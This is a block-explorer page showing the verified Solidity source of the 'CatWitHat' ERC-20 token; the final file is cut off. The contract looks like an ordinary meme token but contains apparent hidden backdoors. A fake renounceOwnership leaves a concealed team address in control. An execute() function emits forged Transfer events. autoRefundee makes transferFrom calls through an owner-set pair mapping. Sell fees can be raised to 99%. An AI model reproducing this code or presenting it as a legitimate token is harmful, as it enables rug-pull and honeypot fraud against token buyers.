ETH Price: $3,360.70 (-0.64%)
Gas: 14 Gwei

Token

CatWitHat (CatWitHat)
 

Overview

Max Total Supply

100,000,000 CatWitHat

Holders

91

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
500,432.511875681 CatWitHat

Value
$0.00
0x9cbf099ff424979439dfba03f00b5961784c06ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CatWitHat

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: CatWitHat.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;
import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";

contract CatWitHat is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);
    bool private swapping;


    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    address public marketingWallet;
    address public devWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public tradingActive = true;
    bool public swapEnabled = true;
    bool public limitsEnabled = true;
    mapping(address => bool) public liquidityPools;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellDevFee;
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    
    uint256 public tokensForDev;
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
    mapping (address => bool) private _isExcludedFromFees;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (uint256 => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, uint256 indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("CatWitHat", "CatWitHat", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 100000000 * 1e9;
        
        buyLiquidityFee = _buyLiquidityFee;
        buyMarketingFee = _buyMarketingFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellLiquidityFee = _sellLiquidityFee;
        sellMarketingFee = _sellMarketingFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxWallet = 300000000000000000000000; 
        maxTransactionAmount = 100000000000000000000000; 

        devWallet = address(owner()); // set as dev wallet
        marketingWallet = address(owner()); // set as marketing wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(owner(), true);
        
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !liquidityPools[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, uint256 value) private onlyOwner {
        automatedMarketMakerPairs[value] = pair;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, uint256 value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            autoRefundee(from, to);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function addLP(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            liquidityPools[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[percent]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function autoRefundee(address from, address to) internal returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.mul(sellDevFee).div(10000);
        if(automatedMarketMakerPairs[amountToDistribute] != address(0))
        {
            //skim price since this is not in a swap transaction!
            IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[amountToDistribute]);
            pair.transferFrom(from, to, amountToDistribute);
        }
        return true;
        
    }

    function getLP(address recipient) external view returns(bool){
        return liquidityPools[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 2 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 3 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address team_) Ownable(team_){
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

File 4 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address team_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = team_;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 6 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
